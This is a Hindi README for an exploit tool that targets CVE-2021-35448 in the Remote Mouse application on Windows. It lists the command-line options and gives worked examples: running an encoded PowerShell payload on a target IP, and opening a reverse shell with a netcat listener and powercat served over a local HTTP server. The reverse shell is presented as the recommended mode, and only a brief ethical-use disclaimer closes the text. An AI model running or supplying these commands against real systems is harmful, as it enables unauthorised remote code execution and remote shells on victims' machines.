CVE-2021-35448 - Remote Mouse एक्सप्लॉइट

विवरण

यह एक्सप्लॉइट रिमोट माउस एप्लिकेशन (पूर्व में WiFi Mouse) में CVE-2021-35448 भेद्यता को लक्षित करता है।

POC

CVE-2021-35448.webm

उपयोग

मूल सिंटैक्स

python3 CVE-2021-35448.py -t <TARGET_IP> [OPTIONS]

विकल्प

• -t, --target: लक्ष्य IP पता (आवश्यक)
• -p, --payload: निष्पादित करने के लिए कस्टम कमांड
• -r, --reverse: IP:PORT प्रारूप में रिवर्स शेल
• -l, --http: IP:PORT प्रारूप में स्थानीय HTTP सर्वर (-r के साथ आवश्यक)

उपयोग उदाहरण

1. कस्टम कमांड

python3 CVE-2021-35448.py -t 192.168.1.100 -p "Powershell -e JAB...=="

2. रिवर्स शेल (अनुशंसित)

# Terminal 1 - Listener
nc -nlvp 4444

# Terminal 2 - Exploit
python3 CVE-2021-35448.py -t $REMOTESERVER_IP -r $REVSHELL_IP:$PORT -l 0.0.0.0:$PORT

पूर्वापेक्षाएँ

आवश्यक फ़ाइलें

• CVE-2021-35448.py: मुख्य एक्सप्लॉइटेशन स्क्रिप्ट
• powercat.ps1: रिवर्स शेल के लिए PowerShell स्क्रिप्ट

लक्ष्य प्रणाली

• Remote Mouse स्थापित और चालू
• विंडोज सिस्टम (विंडोज 10 पर परीक्षण किया गया)

चेतावनी

⚠️ केवल नैतिक उपयोग ⚠️

यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत पेनेट्रेशन टेस्टिंग के लिए है। इस एक्सप्लॉइट का अनधिकृत उपयोग अवैध है और कानूनी कार्यवाही का कारण बन सकता है।

संदर्भ

• WiFi Mouse 1.7.8.5 - रिमोट कोड निष्पादन
• CVE-2021-35448 विवरण

लेखक

शैक्षिक और नैतिक पेनेट्रेशन टेस्टिंग उद्देश्यों के लिए विकसित।

अंतिम अद्यतन: 2025